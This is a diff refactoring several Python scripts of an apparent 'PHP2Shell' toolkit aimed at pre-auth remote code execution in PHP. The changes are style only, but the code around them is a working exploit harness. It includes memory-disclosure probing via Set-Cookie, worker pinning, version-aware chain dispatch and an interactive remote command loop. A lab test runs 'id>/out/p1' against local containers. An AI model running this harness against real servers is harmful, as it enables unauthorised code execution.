@@ -1,5 +1,4 @@
 #!/usr/bin/env python3
-# -*- coding: utf-8 -*-
 """
 php2shell_exploit.py — PHP2Shell (CVE-2026-109618 / CVE-2026-109619) assessment
 and exploitation harness derived from docs/php2shell-analysis.md.
@@ -37,6 +36,7 @@
 from __future__ import annotations
 
 import argparse
+import contextlib
 import ipaddress
 import json
 import random
@@ -49,7 +49,6 @@
 import time
 import urllib.parse
 from dataclasses import dataclass, field
-from typing import Dict, List, Optional, Tuple
 
 # ---------------------------------------------------------------------------
 # Fixed-release matrix (docs/php2shell-analysis.md, section 2)
@@ -105,7 +104,7 @@ def __init__(self, url: str):
         self.base_path = p.path if p.path not in ("", "/") else "/"
         self.host_header = self.host if self.port in (80, 443) else f"{self.host}:{self.port}"
 
-    def connect(self, timeout: float = 10.0) -> "HTTPConn":
+    def connect(self, timeout: float = 10.0) -> HTTPConn:
         return HTTPConn(self, timeout)
 
 
@@ -126,14 +125,14 @@ def send(self, data: bytes) -> None:
     def _fill(self) -> bool:
         try:
             chunk = self.sock.recv(65536)
-        except (socket.timeout, ConnectionResetError, OSError):
+        except (TimeoutError, ConnectionResetError, OSError):
             return False
         if not chunk:
             return False
         self.buf += chunk
         return True
 
-    def read_response(self, timeout: float = 8.0) -> Tuple[int, Dict[str, str], bytes, List[str]]:
+    def read_response(self, timeout: float = 8.0) -> tuple[int, dict[str, str], bytes, list[str]]:
         self.sock.settimeout(timeout)
         while b"\r\n\r\n" not in self.buf:
             if not self._fill():
@@ -149,8 +148,8 @@ def read_response(self, timeout: float = 8.0) -> Tuple[int, Dict[str, str], byte
             except (IndexError, ValueError):
                 status = 0
 
-        headers: Dict[str, str] = {}
-        set_cookies: List[str] = []
+        headers: dict[str, str] = {}
+        set_cookies: list[str] = []
         for line in lines[1:]:
             if b":" not in line:
                 continue
@@ -201,14 +200,12 @@ def read_response(self, timeout: float = 8.0) -> Tuple[int, Dict[str, str], byte
         return status, headers, body, set_cookies
 
     def close(self) -> None:
-        try:
+        with contextlib.suppress(OSError):
             self.sock.close()
-        except OSError:
-            pass
 
 
-def http_get(target: Target, path: str, extra: Optional[Dict[str, str]] = None,
-             timeout: float = 8.0) -> Tuple[int, Dict[str, str], bytes, List[str]]:
+def http_get(target: Target, path: str, extra: dict[str, str] | None = None,
+             timeout: float = 8.0) -> tuple[int, dict[str, str], bytes, list[str]]:
     conn = target.connect(timeout)
     headers = {
         "Host": target.host_header,
@@ -229,7 +226,7 @@ def http_get(target: Target, path: str, extra: Optional[Dict[str, str]] = None,
 # ---------------------------------------------------------------------------
 # Version classification
 # ---------------------------------------------------------------------------
-def classify_version(version: str) -> Tuple[str, bool, str]:
+def classify_version(version: str) -> tuple[str, bool, str]:
     m = re.search(r"(\d+)\.(\d+)\.(\d+)", version or "")
     if not m:
         return "UNKNOWN", False, "Could not extract a PHP version from the response headers."
@@ -280,9 +277,9 @@ class Report:
     oom_reached: bool = False
     oom_status: int = 0
     worker_alive: bool = False
-    disclosure: Optional[bytes] = None
-    pointers: List[int] = field(default_factory=list)
-    notes: List[str] = field(default_factory=list)
+    disclosure: bytes | None = None
+    pointers: list[int] = field(default_factory=list)
+    notes: list[str] = field(default_factory=list)
     rce_confirmed: bool = False
     rce_output: str = ""
 
@@ -463,7 +460,7 @@ def check_worker_survival(cfg: Config, rep: Report) -> None:
 # ---------------------------------------------------------------------------
 def probe_disclosure(cfg: Config, rep: Report) -> None:
     stage("5/5", "Memory disclosure via Set-Cookie (stale PS(id))")
-    results: Dict[int, bytes] = {}
+    results: dict[int, bytes] = {}
     lock = threading.Lock()
 
     def worker(i: int) -> None:
@@ -491,7 +488,7 @@ def worker(i: int) -> None:
     for t in threads:
         t.join()
 
-    suspicious: List[Tuple[int, bytes]] = []
+    suspicious: list[tuple[int, bytes]] = []
     for i, raw in sorted(results.items()):
         if not raw:
             continue
 
@@ -1,5 +1,4 @@
 #!/usr/bin/env python3
-# -*- coding: utf-8 -*-
 """
 php2shell_auto.py — version-aware dispatcher for the PHP2Shell RCE chain.
 
@@ -25,23 +24,23 @@
 """
 
 from __future__ import annotations
-from php2shell_paths import default_repo_dir
-from php2shell_upstream import patch_params, patch_tls
 
 import argparse
+import contextlib
 import glob
+import ipaddress
 import json
 import os
-import ipaddress
 import re
 import socket
 import ssl
 import subprocess
-import time
 import sys
 import urllib.parse
 
+from php2shell_paths import default_repo_dir
 from php2shell_ui import UI
+from php2shell_upstream import patch_params, patch_tls
 
 FIXED = {"8.2": 35, "8.3": 36, "8.4": 27, "8.5": 12}
 HERE = os.path.dirname(os.path.abspath(__file__))
@@ -236,7 +235,7 @@ def load_profiles(directory: str):
     profiles = []
     for path in sorted(glob.glob(os.path.join(directory, "*.json"))):
         try:
-            with open(path, "r", encoding="utf-8") as fh:
+            with open(path, encoding="utf-8") as fh:
                 data = json.load(fh)
             if not isinstance(data, dict) or "php_version" not in data:
                 continue
@@ -302,13 +301,12 @@ def interactive_loop(args, profile, outdir, ui: UI) -> int:
             continue
         stage_script(outdir, line)
         output = os.path.join(outdir, "o")
-        try:
+        with contextlib.suppress(OSError):
             os.unlink(output)
-        except OSError:
-            pass
         rc = run_upstream(args, profile, output, huge, ui, stream=False)
         if os.path.isfile(output):
-            print(open(output, "r", encoding="utf-8", errors="replace").read().rstrip())
+            with open(output, encoding="utf-8", errors="replace") as handle:
+                print(handle.read().rstrip())
         else:
             ui.warn(f"no output (chain exit {rc})")
     return 0
@@ -386,10 +384,8 @@ def __init__(self, url: str, count: int):
                    f"User-Agent: php2shell-pin/1.0\r\nConnection: keep-alive\r\n\r\n").encode()
             s.sendall(req)
             s.settimeout(3)
-            try:
+            with contextlib.suppress(OSError):
                 s.recv(65536)
-            except OSError:
-                pass
             self.socks.append(s)
 
     @classmethod
@@ -422,32 +418,24 @@ def auto_remote(cls, url: str, max_pins: int = 32):
                 s.sendall(req)
                 s.settimeout(2)
                 data = s.recv(65536)
-            except socket.timeout:
+            except TimeoutError:
                 if s is not None:
-                    try:
+                    with contextlib.suppress(OSError):
                         s.close()
-                    except OSError:
-                        pass
                 break
             except OSError:
                 if s is not None:
-                    try:
+                    with contextlib.suppress(OSError):
                         s.close()
-                    except OSError:
-                        pass
                 break
             if not data:
-                try:
+                with contextlib.suppress(OSError):
                     s.close()
-                except OSError:
-                    pass
                 break
             head = data.split(b"\r\n\r\n", 1)[0].lower()
             if b"connection: close" in head:
-                try:
+                with contextlib.suppress(OSError):
                     s.close()
-                except OSError:
-                    pass
                 for p in pins:
                     p.close()
                 return None
@@ -461,10 +449,8 @@ def auto_remote(cls, url: str, max_pins: int = 32):
 
     def close(self) -> None:
         for s in self.socks:
-            try:
+            with contextlib.suppress(OSError):
                 s.close()
-            except OSError:
-                pass
 
 
 def probe_memory_limit(args, ui: UI) -> int | None:
@@ -636,7 +622,7 @@ def main() -> int:
     profiles = load_profiles(args.profiles)
     catalog = {}
     try:
-        with open(args.catalog, "r", encoding="utf-8") as fh:
+        with open(args.catalog, encoding="utf-8") as fh:
             catalog = json.load(fh)
     except (OSError, ValueError):
         pass
@@ -805,7 +791,8 @@ def main() -> int:
         return 4
     if args.script:
         try:
-            body = open(args.script, "r", encoding="utf-8").read()
+            with open(args.script, encoding="utf-8") as handle:
+                body = handle.read()
         except OSError as exc:
             ui.crit(f"cannot read {args.script}: {exc}")
             return 4
@@ -886,10 +873,8 @@ def main() -> int:
         huge = args.huge_mb if args.huge_mb else oom_for(int(limit), profile)
         ui.stage("EXECUTE", f"memory_limit={limit}M  ·  huge_mb={huge}")
         if proof and os.path.exists(proof):
-            try:
+            with contextlib.suppress(OSError):
                 os.unlink(proof)
-            except OSError:
-                pass
         rc = run_upstream(args, profile, proof, huge, ui)
         if rc == 0:
             break
@@ -906,10 +891,9 @@ def main() -> int:
 
     detail = "proof retrieved by --fetch"
     if proof and os.path.isfile(proof):
-        try:
-            detail = open(proof, "r", encoding="utf-8", errors="replace").read().strip()
-        except OSError:
-            pass
+        with contextlib.suppress(OSError), \
+                open(proof, encoding="utf-8", errors="replace") as handle:
+            detail = handle.read().strip()
     ui.result(True, "PRE-AUTH RCE CONFIRMED", detail)
     return 0
 
 
@@ -1,5 +1,4 @@
 #!/usr/bin/env python3
-# -*- coding: utf-8 -*-
 """
 php2shell_calibrate.py — build a verified profile for one PHP/libphp build.
 
@@ -35,8 +34,6 @@
 """
 
 from __future__ import annotations
-from php2shell_paths import default_repo_dir
-from php2shell_upstream import patch_params, patch_tls
 
 import argparse
 import importlib.util
@@ -49,6 +46,9 @@
 import time
 import urllib.parse
 
+from php2shell_paths import default_repo_dir
+from php2shell_upstream import patch_params, patch_tls
+
 HERE = os.path.dirname(os.path.abspath(__file__))
 ROOT = os.path.dirname(HERE)
 FIXED = {"8.2": 35, "8.3": 36, "8.4": 27, "8.5": 12}
@@ -109,7 +109,7 @@ def extract_symbols(repo: str, container: str) -> dict:
     subprocess.run([sys.executable, script, container], check=True)
     env = os.path.join(repo, "out", "offsets.env")
     values = {}
-    with open(env, "r", encoding="utf-8") as fh:
+    with open(env, encoding="utf-8") as fh:
         for line in fh:
             if "=" in line and not line.startswith("#"):
                 k, v = line.strip().split("=", 1)
@@ -295,7 +295,8 @@ def calibrate_stage3(mod, ex, chunk, lib, zif, proof, hints):
         except Exception as exc:
             print(f"    stage3 {name}: {exc}")
         if os.path.exists(proof) and os.path.getsize(proof) > 0:
-            print(f"[+] stage3 {name}: {open(proof).read().strip()}")
+            with open(proof) as handle:
+                print(f"[+] stage3 {name}: {handle.read().strip()}")
             return True, {"htdata": off, "pads": pads}
         print(f"    stage3 {name}: no proof")
     return False, None
 
@@ -1,5 +1,4 @@
 #!/usr/bin/env python3
-# -*- coding: utf-8 -*-
 """Inventory the generated PHP2Shell profiles.
 
 Reads every JSON profile in profiles/ and prints the offsets and heap
@@ -27,7 +26,7 @@ def load_profiles(directory: str):
     rows = []
     for path in sorted(glob.glob(os.path.join(directory, "*.json"))):
         try:
-            with open(path, "r", encoding="utf-8") as fh:
+            with open(path, encoding="utf-8") as fh:
                 data = json.load(fh)
         except (OSError, ValueError):
             continue
 
@@ -1,5 +1,4 @@
 #!/usr/bin/env python3
-# -*- coding: utf-8 -*-
 """
 php2shell_labs.py — disposable local laboratories for the PHP builds in the
 profile/offset inventory.
@@ -22,15 +21,17 @@
 """
 
 from __future__ import annotations
-from php2shell_paths import default_repo_dir, prepare_lab_out
 
 import argparse
+import contextlib
 import os
 import subprocess
 import sys
 import time
 import urllib.request
 
+from php2shell_paths import default_repo_dir, prepare_lab_out
+
 HERE = os.path.dirname(os.path.abspath(__file__))
 ROOT = os.path.dirname(HERE)
 LAB = os.path.join(ROOT, "lab", "rce")
@@ -112,10 +113,8 @@ def test():
             results.append((version, "not running", ""))
             continue
         proof = os.path.join(OUT, version, "p1")
-        try:
+        with contextlib.suppress(OSError):
             os.unlink(proof)
-        except OSError:
-            pass
         cmd = [sys.executable, os.path.join(HERE, "php2shell_auto.py"),
                "-u", f"http://127.0.0.1:{port}/index.php",
                "-c", "id>/out/p1", "--repo-dir", REPO,
@@ -125,9 +124,10 @@ def test():
         output = (result.stdout + result.stderr).strip().splitlines()
         print("\n".join(output[-6:]), flush=True)
         if result.returncode == 0 and os.path.isfile(proof):
-            results.append((version, "RCE", open(proof).read().strip()))
+            with open(proof) as handle:
+                results.append((version, "RCE", handle.read().strip()))
         else:
-            results.append((version, "no RCE (exit %d)" % result.returncode, ""))
+            results.append((version, f"no RCE (exit {result.returncode})", ""))
     print("\n=== summary ===")
     for version, status_text, proof in results:
         print(f"  {version:8} {status_text:24} {proof}")